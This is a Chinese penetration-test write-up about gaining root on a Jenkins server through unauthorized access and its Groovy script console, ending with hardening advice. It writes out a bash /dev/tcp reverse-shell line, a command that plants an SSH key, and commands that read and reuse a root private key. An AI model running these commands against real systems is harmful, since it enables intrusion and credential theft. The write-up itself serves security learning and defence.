Jenkins獲取權限的過程
Jenkins存在未授權訪問漏洞
Jenkins存在未授權訪問漏洞,且項目具有讀取權限,通過項目的日志獲取到一個賬號密碼,嘗試登錄成功,打開控制台成功。
- 備注:控制台一般可以進去后直接URL輸入http://a.b.c.d/script 即可進入
執行命令嘗試反彈shell
在對話框中嘗試反彈shell,本地NC監聽中,發行不行,嘗試ping回來,發現網絡不通,隨即希望正想shell
println 'bash -i >& /dev/tcp/192.168.100.2/4444 0>&1'.execute().text
嘗試正向shell
嘗試綁定shell
首先確定系統有的命令和賬號權限
println 'id'.execute().text
println 'whoami'.execute().text
println 'ls -l /usr/bin/'.execute().text
發現root權限,curl和wget都有,git也有(jenkins肯定有),嘗試互聯網訪問是否可達
println 'curl -v https://www.baidu.com'.execute().text
開始下載正向綁定shell的腳本運行失敗。
嘗試上傳自己的公鑰
隨即傳上去自己的公鑰,嘗試ssh登錄失敗
println 'echo 公鑰內容 >> /root/.ssh/authroized_keys'.execute().text
本地主機登錄ssh失敗
ssh -i 私鑰 a.b.c.d
查看.ssh目錄發現已有的私鑰
經過大牛指點,繼續嘗試搜索主機
println 'ls /root/.ssh/'.execute().text
println 'cat /root/.ssh/id_rsa'.execute().text()
保存在本地私鑰,嘗試登錄成功
ssh -i id_rsa a.b.c.d
Docker的干擾
登上去之后查看失敗原因:
原來服務是Docker起的,我綁定的正向shell監聽的端口也好,上傳的自己的公鑰也好都在docker里,而我嘗試登錄的是宿主機,所以一直有問題,而最后的成功,也是因為docker和宿主機使用了同一套公私鑰
安全建議
-
1、不要配置Jenkinis匿名登錄(未登錄狀態)有任何權限包括讀取權限也不行;
-
2、不要使用弱口令;
-
3、docker打包時候檢查,宿主機環境也要檢查,不使用沒有key的秘鑰,公私鑰不要存放在一起,docker和宿主機不要使用同一套公私鑰;